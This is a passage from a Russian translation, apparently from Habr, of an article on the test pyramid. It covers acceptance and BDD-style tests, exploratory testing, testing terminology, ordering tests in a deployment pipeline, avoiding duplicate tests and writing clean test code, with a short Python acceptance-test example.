Мы опять запускаем всё приложение Spring с помощью @SpringBootTest. В этом случае мы делаем @Autowire для PersonRepository, чтобы легко записывать тестовые данные в БД. Теперь когда просим REST API сказать «привет» нашему другу “Mr Pan”, то видим приятное приветствие. Потрясающе! И более чем достаточно для сквозного теста, если веб-интерфейс вообще отсутствует.

Приёмочные тесты — ваши фичи правильно работают?

Чем выше вы поднимаетесь в пирамиде тестов, тем больше вероятность возникновения вопросов: правильно ли работают фичи с точки зрения пользователя. Вы можете рассматривать приложение как чёрный ящик и изменить направленность тестов от прошлого:

когда я ввожу x и y, возвращаемое значение должно быть z

к следующему:

учитывая, что есть авторизованный пользователь

и есть изделие «велосипед»

когда пользователь переходит на страницу описания изделия «велосипед»

и нажимает кнопку «Добавить в корзину»

тогда изделие «велосипед» должно быть в его корзине

Бывает, что такие тесты называют функциональными или приёмочными. Некоторые говорят, что функциональные и приёмочные тесты — это разные вещи. Иногда термины объединяют. Иногда люди бесконечно спорят о формулировках и определениях. Часто такие обсуждения вводят ещё бóльшую путаницу.

Вот что: в какой-то момент следует убедиться, что ваша программа правильно работает с точки зрения пользователя, а не только с технической точки зрения. Как вы называете эти тесты — на самом деле не так важно. А вот наличие этих тестов важно. Выберите любой термин, придерживайтесь его и напишите эти тесты.

Можно ещё упомянуть BDD (разработка, основанная на описании поведения) и инструменты для нее. BDD и соответствующий стиль написания тестов — хороший трюк, чтобы изменить своё мышление от деталей реализации к потребностям пользователей. Не бойтесь и попробуйте.

Вам даже не обязательно внедрять полномасштабные инструменты BDD, такие как Cucumber (хотя можно и внедрить). Некоторые assertion-библиотеки вроде chai.js позволяют писать утверждения (assertions) с ключевыми словами в стиле should, которые приближают тесты к BDD. И даже если вы не используете библиотеку, которая предоставляет такую нотацию, умный и хорошо продуманный код позволит писать тесты, ориентированные на поведение пользователей. Некоторые методы/функции хелперов могут оказаться очень успешными:

# a sample acceptance test in Python
def test_add_to_basket():
    # given
    user = a_user_with_empty_basket()
    user.login()
    bicycle = article(name="bicycle", price=100)
    # when
    article_page.add_to_.basket(bicycle)
    # then
    assert user.basket.contains(bicycle)

Приёмочные тесты могут проводиться на разных уровнях детализации. В основном они будут достаточно высокого уровня и тестировать сервис через UI. Но важно понимать, что технически нет обязательного требования писать приёмочные тесты именно на самом высоком уровне пирамиды тестов. Если структура приложения и имеющийся сценарий позволяют написать приёмочный тест на более низком уровне, сделайте это. Тест низкого уровня лучше, чем высокого. Концепция приёмочных тестов — доказать, что фичи приложения правильно работают для пользователя — полностью ортогональна вашей пирамиде тестов.

Исследовательское тестирование

Даже самые прилежные усилия по автоматизации тестов не идеальны. Иногда в автоматических тестах вы пропускаете определённые пограничные случаи. Иногда просто невозможно обнаружить определённую ошибку, написав модульный тест. Некоторые проблемы качества вообще не проявятся в автоматизированных тестах (подумайте о дизайне или юзабилити). Несмотря на самые лучшие намерения в отношении автоматизации тестов, ручные тесты в некоторых отношениях по-прежнему незаменимы.

Рис. 12. Исследовательское тестирование выявит проблемы качества, незамеченные в процессе сборки

Включите исследовательские тесты в свой набор тестов. Эта процедура тестирования вручную подчёркивает свободу и творческие способности тестировщика, который способен найти проблемы качества в работающей системе. Просто выделите немного времени в расписании, засучите рукава и постарайтесь вызвать сбой приложения каким-нибудь способом. Включите деструктивное мышление и придумывайте способы, как спровоцировать проблемы и ошибки в программе. Документируйте всё, что найдёте. Ищите баги, проблемы дизайна, медленное время отклика, отсутствующие или вводящие в заблуждение сообщения об ошибках и всё остальное, что вас раздражает как пользователя.

Хорошая новость в том, что вы легко можете автоматизировать тесты для большинства найденных ошибок. Написание автоматизированных тестов для найденных ошибок гарантирует, что в будущем не будет регрессий этой ошибки. Кроме того, это помогает выяснить корневую причину проблемы при исправлении бага.

Во время исследовательского тестирования вы обнаружите проблемы, которые незаметно проскользнули через конвейер сборки. Не расстраивайтесь. Это хорошая обратная связь для улучшения конвейера сборки. Как и с любой обратной связью, обязательно отреагируйте со своей стороны: подумайте, какие действия предпринять, чтобы избежать такого рода проблем в будущем. Может, вы пропустили определённый набор автоматических тестов. Возможно, были небрежны с автоматизированными тестами на этом этапе и следует более тщательно проводить тесты в будущем. Возможно, есть какой-то блестящий новый инструмент или подход, который можно использовать в своем конвейере, чтобы избежать таких проблем. Обязательно отреагируйте так, чтобы ваш конвейер и вся система поставки программного обеспечения стали лучше и совершенствовались с каждым шагом.

Путаница с терминологией в тестировании

Всегда сложно говорить о разных классификациях тестов. Моё понимание юнит-тестов (модульных тестов) может слегка отличаться от вашего. С интеграционными тестами ещё хуже. Для некоторых людей интеграционное тестирование — это очень широкая деятельность, которая тестирует множество различных частей всей системы. Для меня это довольно узкая вещь: тестирование только интеграции с одной внешней частью за раз. Некоторые называют это интеграционными тестами, некоторые — компонентными, другие предпочитают термин сервисный тест. Кто-то заявит, что это вообще три совершенно разные вещи. Нет правильного или неправильного определения. Сообщество разработчиков ПО просто не установило чётко определённых терминов в тестировании.

Не зацикливайтесь на двусмысленных терминах. Не имеет значения, называете вы это сквозным тестом, тестом широкого стека или функциональным тестом. Неважно, если ваши интеграционные тесты означают для вас не то, что для людей в другой компании. Да, было бы очень хорошо, если бы наша отрасль могла чётко определить термины и все бы их придерживались. К сожалению, этого ещё не произошло. И поскольку в тестировании много нюансов, то всё равно мы имеем дело скорее с широким спектром тестов, чем с кучей дискретных множеств, что ещё больше усложняет чёткую терминологию.

Важно воспринимать это так: вы просто находите термины, которые работают для вас и вашей команды. Ясно определите для себя различные типы тестов, которые хотите написать. Согласуйте термины в своей команде и найдите консенсус относительно охвата каждого типа теста. Если в своей команде (или даже во всей организации) вы будете последовательны с этими терминами, то это всё, о чем нужно позаботиться. Саймон Стюарт хорошо подытожил это в подходе, который используется в Google. Думаю, это прекрасная демонстрация, что не стоит слишком зацикливаться на названиях и конвенциях по терминам.

Внедрение тестов в конвейер развёртывания

Если вы используете непрерывную интеграцию или непрерывную доставку, то ваш конвейер развёртывания запускает автоматические тесты каждый раз при внесении изменений в ПО. Обычно конвейер разделяется на несколько этапов, которые постепенно дают всё больше уверенности, что ваша программа готова к развёртыванию в рабочей среде. Услышав обо всех разновидностях тестов, возможно, вы задаётесь вопросом, как поместить их в конвейер развёртывания. Чтобы ответить на это, следует просто подумать об одной из самых основополагающих ценностей непрерывной доставки (это одна из ключевых ценностей экстремального программирования и гибкой разработки): о быстрой обратной связи.

Хороший конвейер сборки максимально быстро сообщает об ошибках. Вы не хотите ждать целый час, чтобы узнать, что последнее изменение сломало некоторые простые модульные тесты. Если конвейер работает так медленно, то вы могли уже уйти домой, когда поступила обратная связь. Информация должна приходить в течение нескольких секунд или нескольких минут с быстрых тестов на ранних этапах конвейера. И наоборот, более длительные тесты — обычно с более широкой областью — размещаются на более поздних этапах, чтобы не тормозить фидбек от быстрых тестов. Как видите, этапы конвейера развёртывания определяются не типами тестов, а их скоростью и областью действия. Поэтому очень разумно может быть разместить некоторые из самых узких и быстрых интеграционных тестов на ту же стадию, что и юнит-тесты — просто потому что они дают более быструю обратную связь. И необязательно проводить строгую линию по формальному типу тестов.

Избегайте дублирования тестов

Есть ещё одна ловушка, которую следует избегать: дублирование тестов на разных уровнях пирамиды. Чутьё говорит, что тестов много не бывает, но позвольте вас заверить: бывает. Каждый тест в тестовом наборе — дополнительный багаж, который не обходится бесплатно. Написание и ведение тестов требует времени. Чтение и понимание чужого теста требует времени. И конечно, выполнение тестов тоже требует времени.

Как и с производственным кодом, следует стремиться к простоте и избегать дублирования. В контексте реализации пирамиды тестов есть два эмпирических правила:

  1. Если в тесте более высокого уровня обнаружена ошибка, а в тестах более низкого уровня нет, то необходимо писать тест более низкого уровня.
  2. Сдвигайте тесты как можно ниже по уровням пирамиды.

Первое правило важно, потому что тесты более низкого уровня лучше позволяют сузить область и изолированно воспроизвести ошибку. Они работают быстрее и менее раздуты, что помогает при отладке вручную. И в будущем послужат хорошим регрессионным тестом. Второе правило важно для быстрого выполнения набора тестов. Если вы уверенно протестировали все условия на тестах более низкого уровня, то в тесте более высокого уровня нет необходимости. Он просто не добавляет уверенности, что всё работает. Избыточные тесты станут обузой и начнут раздражать в повседневной работе. Набор тестов будет работать медленнее, и при изменении кода потребуется изменить больше тестов.

Сформулируем иначе: если тест более высокого уровня даёт больше уверенности, что приложение работает правильно, то нужно иметь такой тест. Написание модульного теста для класса контроллера помогает проверить логику внутри самого контроллера. Тем не менее, это не скажет вам, действительно ли конечная точка REST, которую предоставляет этот контроллер, отвечает на запросы HTTP. Таким образом, вы продвигаетесь вверх по пирамиде тестов и добавляете тест, который проверяет именно это, но не более того. В тесте более высокого уровня вы не тестируете всю условную логику и пограничные случаи, которые уже покрыты юнит-тестами более низкого уровня. Убедитесь, что тест высокого уровня фокусируется только на том, что не покрыто тестами более низкого уровня.

Я строго отношусь к исключению тестов, не имеющих ценности. Удаляю высокоуровневые тесты, которые уже покрыты на более низком уровне (учитывая, что они не дают дополнительной ценности). Заменяю тесты более высокого уровня тестами более низкого уровня, если это возможно. Иногда трудно удалить лишний тест, особенно если придумать его было непросто. Но вы рискуете создать невозвратные затраты, так что смело жмите Delete. Нет причин тратить драгоценное время на тест, который перестал приносить пользу.

Пишите чистый код для тестов

Как и в отношении обычного кода, следует позаботиться о хорошем и чистом коде тестов. Вот ещё несколько советов для создания поддерживаемого тестового кода, прежде чем начинать работу и создавать автоматизированный набор тестов:

  1. Тестовый код так же важен, как и код в продакшне. Уделите ему столько же заботы и внимания. «Это всего лишь тест» — не оправдание для небрежного кода.
  2. Проверяйте только одно условие в каждом тесте. Тогда тесты останутся лаконичными и понятными.
  3. Правило трёх А (arrange, act, assert) или триада «дано, когда, тогда» — хорошая мнемоника, чтобы поддерживать хорошую структуру тестов.
  4. Читаемость имеет значение. Не злоупотребляйте DRY (правило «не повторяйся»). Повторение хорошо, если улучшает читаемость. Попробуйте найти баланс между кодом DRY и DAMP (DAMP — Descriptive And Meaningful Phrases, содержательные и осмысленные фразы).
  5. Если сомневаетесь насчёт рефакторинга или повторного использования кода, применяйте Правило Трёх. Use before reuse.

Заключение

Вот и всё! Знаю, это было долгое и трудное объяснение, почему и как следует проводить тестирование. Отличная новость в том, что эта информация практически не имеет срока давности и не зависит от того, какую программу вы создаёте. Работаете вы над микросервисами, устройствами IoT, мобильными приложениями или веб-приложениями, уроки из этой статьи применимы ко всему.

Надеюсь, что в статье есть что-то полезное. Теперь вперёд, изучите пример кода и примените усвоенные понятия в своём наборе тестов. Создание крепкого набора тестов требует определённых усилий. Это окупится в долгосрочной перспективе и сделает вашу жизнь разработчика более спокойной, поверьте мне.

См. также:
«Антипаттерны тестирования ПО»

Метки:
Похожие публикации

Ой, у вас баннер убежал!

Ну. И что?

Source: habr1

Метки: